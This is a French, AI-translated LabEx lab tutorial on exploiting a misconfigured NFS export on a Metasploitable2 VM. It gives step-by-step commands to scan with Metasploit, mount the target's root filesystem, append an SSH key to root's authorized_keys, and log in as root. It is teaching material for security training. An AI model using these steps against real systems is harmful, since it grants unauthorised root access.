Exploiter une mauvaise configuration NFS pour obtenir un accès root avec Nmap

NmapNmapBeginner
Pratiquer maintenant

💡 Ce tutoriel est traduit par l'IA à partir de la version anglaise. Pour voir la version originale, vous pouvez cliquer ici

Introduction

Le Network File System (NFS) est un protocole de système de fichiers distribué qui permet aux utilisateurs d'accéder à des fichiers distants comme s'ils étaient locaux. Cependant, une mauvaise configuration du NFS peut entraîner de graves vulnérabilités de sécurité, permettant aux attaquants d'obtenir un accès non autorisé au système. Dans ce laboratoire (LabEx), vous apprendrez à exploiter une mauvaise configuration du NFS pour obtenir l'accès root à une machine cible.

L'objectif de ce laboratoire (LabEx) est de comprendre les risques associés à une mauvaise configuration du NFS et d'apprendre à effectuer une attaque réussie basée sur le NFS. À la fin du laboratoire (LabEx), vous aurez acquis une expérience pratique dans l'identification des partages NFS, leur montage local et l'exploitation de la mauvaise configuration pour obtenir les privilèges root sur le système cible.


Skills Graph

%%%%{init: {'theme':'neutral'}}%%%% flowchart RL nmap(("Nmap")) -.-> nmap/NmapGroup(["Nmap"]) nmap/NmapGroup -.-> nmap/installation("Installation and Setup") nmap/NmapGroup -.-> nmap/port_scanning("Port Scanning Methods") nmap/NmapGroup -.-> nmap/target_specification("Target Specification") subgraph Lab Skills nmap/installation -.-> lab-416131{{"Exploiter une mauvaise configuration NFS pour obtenir un accès root avec Nmap"}} nmap/port_scanning -.-> lab-416131{{"Exploiter une mauvaise configuration NFS pour obtenir un accès root avec Nmap"}} nmap/target_specification -.-> lab-416131{{"Exploiter une mauvaise configuration NFS pour obtenir un accès root avec Nmap"}} end

Scan pour les partages NFS

Dans cette étape, vous utiliserez le Metasploit Framework pour scanner la machine cible à la recherche de partages NFS.

Maintenant, vous allez démarrer la machine d'attaque (conteneur Kali Linux) et la machine cible (machine virtuelle Metasploitable2) pour l'expérience.

  1. Ouvrez un terminal xfce sur la machine hôte LabEx et démarrez la cible Metasploitable2 en exécutant la commande suivante :
sudo virsh start Metasploitable2

Attendez que la machine cible démarre, cela peut prendre de 1 à 3 minutes.

  1. Testez la connectivité à la machine cible en l'envoyant des paquets ICMP (ping) :
ping 192.168.122.102

Appuyez sur Ctrl+C pour arrêter le ping.

  1. Lancez le conteneur Kali Linux et entrez dans l'environnement bash en exécutant :
docker run -ti --network host --privileged b5b709a49cd5 bash

Il y a un paramètre supplémentaire --privileged, qui est utilisé afin que le compte root à l'intérieur du conteneur ait de vrais privilèges root. Sinon, le compte root à l'intérieur du conteneur n'est qu'un utilisateur normal avec des privilèges externes. Démarrer un conteneur avec le paramètre --privileged vous permettra de voir de nombreux périphériques sur l'hôte et d'effectuer un mount, et vous permettra même de démarrer des conteneurs Docker à l'intérieur de conteneurs Docker.

  1. À l'intérieur du conteneur Kali, testez la connexion réseau à la machine cible :
ping 192.168.122.102

Appuyez sur Ctrl+C pour arrêter le ping.

Maintenant, la machine d'attaque et la machine cible sont toutes deux en cours d'exécution, et vous pouvez commencer le test de pénétration.

  1. Maintenant, lancez la console Metasploit :
cd ~
msfconsole
  1. Dans la console Metasploit, utilisez le module auxiliary/scanner/nfs/nfsmount pour scanner les partages NFS :
use auxiliary/scanner/nfs/nfsmount
set rhosts 192.168.122.102
set threads 5
show options
exploit

Ce module scannera le système cible et affichera tous les partages NFS exportés.

Appuyez sur Ctrl+D pour quitter la console Metasploit, puis commencez l'inspection

Monter le partage NFS

Dans cette étape, vous allez monter le partage racine NFS sur le conteneur Kali.

Tout d'abord, installez le paquet nfs-common :

cd /
apt-get install -y nfs-common

Montez le partage racine NFS :

mount -t nfs -o nolock 192.168.122.102:/ /mnt

Cette commande monte le répertoire racine (/) du système cible sur le répertoire /mnt du conteneur Kali.

Vérifiez que le partage NFS est correctement monté en listant le contenu du répertoire /mnt :

ls /mnt

Vous devriez voir le contenu du répertoire racine du système cible.

Créer une paire de clés SSH

Dans cette étape, vous allez créer une paire de clés SSH pour permettre un accès SSH sans mot de passe au système cible.

Générez une paire de clés SSH :

ssh-keygen -t rsa -b 4096 -f /root/.ssh/id_rsa

Cette commande créera deux fichiers : /root/.ssh/id_rsa (clé privée) et /root/.ssh/id_rsa.pub (clé publique).

Activer l'accès SSH sans mot de passe

Dans cette étape, vous allez ajouter la clé publique au fichier des clés autorisées du système cible, permettant ainsi un accès SSH sans mot de passe.

Copiez la clé publique dans le fichier des clés autorisées du système cible :

cat /root/.ssh/id_rsa.pub >> /mnt/root/.ssh/authorized_keys

Cette commande ajoutera le contenu de votre fichier de clé publique au fichier /root/.ssh/authorized_keys sur le système cible.

Obtenir l'accès root

Dans cette étape, vous utiliserez l'accès SSH sans mot de passe pour vous connecter en tant qu'utilisateur root sur le système cible.

Connectez-vous au système cible en utilisant SSH :

ssh -o HostKeyAlgorithms=ssh-rsa,ssh-dss root@192.168.122.102

Vous devriez maintenant avoir un shell root sur le système cible sans être invité à saisir un mot de passe.

Résumé

Dans ce laboratoire, vous avez appris à exploiter une mauvaise configuration NFS pour obtenir un accès root non autorisé à un système cible. Vous avez commencé par scanner les partages NFS à l'aide du Framework Metasploit, puis vous avez monté le partage racine NFS sur votre machine locale. Ensuite, vous avez créé une paire de clés SSH et ajouté la clé publique au fichier des clés autorisées du système cible, permettant ainsi un accès SSH sans mot de passe. Enfin, vous avez utilisé cet accès SSH sans mot de passe pour vous connecter en tant qu'utilisateur root sur le système cible.

Ce laboratoire a démontré l'importance de bien configurer les partages NFS et les risques potentiels associés à une mauvaise configuration. En comprenant ces vulnérabilités, vous pouvez mieux sécuriser vos systèmes et vous protéger contre les attaques potentielles.